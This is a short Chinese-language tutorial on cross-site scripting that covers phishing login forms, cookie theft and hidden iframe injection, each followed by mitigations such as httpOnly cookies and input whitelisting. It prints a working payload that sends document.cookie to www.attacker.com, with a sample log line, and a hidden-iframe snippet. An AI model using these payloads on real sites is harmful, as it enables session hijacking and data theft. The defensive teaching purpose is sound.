跨站脚本攻击

本文讨论:跨站脚本攻击,Cross-Site Scripting(XSS)。

攻击原理

非法用户将可执行代码注入网页输入区域,输入的非法代码由程序保存,并且又展现出来,再在页面上执行。 主要可能发生在页面中有用户输入框的地方,例如:评论区、表单提交、搜索框等。属于被动攻击的一种,攻击者需要实现设置好陷阱,诱骗受害者触发。

伪造用户登录表单

原理

引导受害者点击预先设计好的链接,当用户打开网站时,会进行登录操作,用户名和密码也会被发送至攻击者的服务器。从而造成用户名密码泄露。url中可以夹带<script>标签并被浏览器执行。

缓解方法

注意链接的合法性,是否有https标志,域名是否正确,特别注意一些特别长的链接,查看链接里面是否有其他网站的域名。不要随意点击一些链接。

窃取Cookie或敏感数据

原理

由于JavaScript可以读写cookie

<script>document.write(document.cookie);</script>

攻击者就可以在嵌入的脚本中将用户的cookie信息发给指定的服务器。

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

在攻击者的服务器日志中就会产生如下

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

缓解方法

  1. 通过给cookie添加httpOnly标志,cookie将不能被js所读取。
  2. 给cookie加密,使得攻击者即使得到cookie,也难以解读和利用。
  3. 不使用cookie,使用其他替代方式。

插入攻击代码

攻击者可以插入一个iframeimg标签,将src指向另一段非法的js。


<iframe name="abc" src="http://abc.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>

这里的代码可能是其他的恶意代码。

整体对策

要过滤用户的输入,禁止输入一些非法字符和标签或代码。

最好使用白名单,而不是使用黑名单,只接受合法的字符或标签。

Rails提供了一些过滤方法,sanitize()、escapeHTML()、strip_tags(), strip_links() 等。

Resources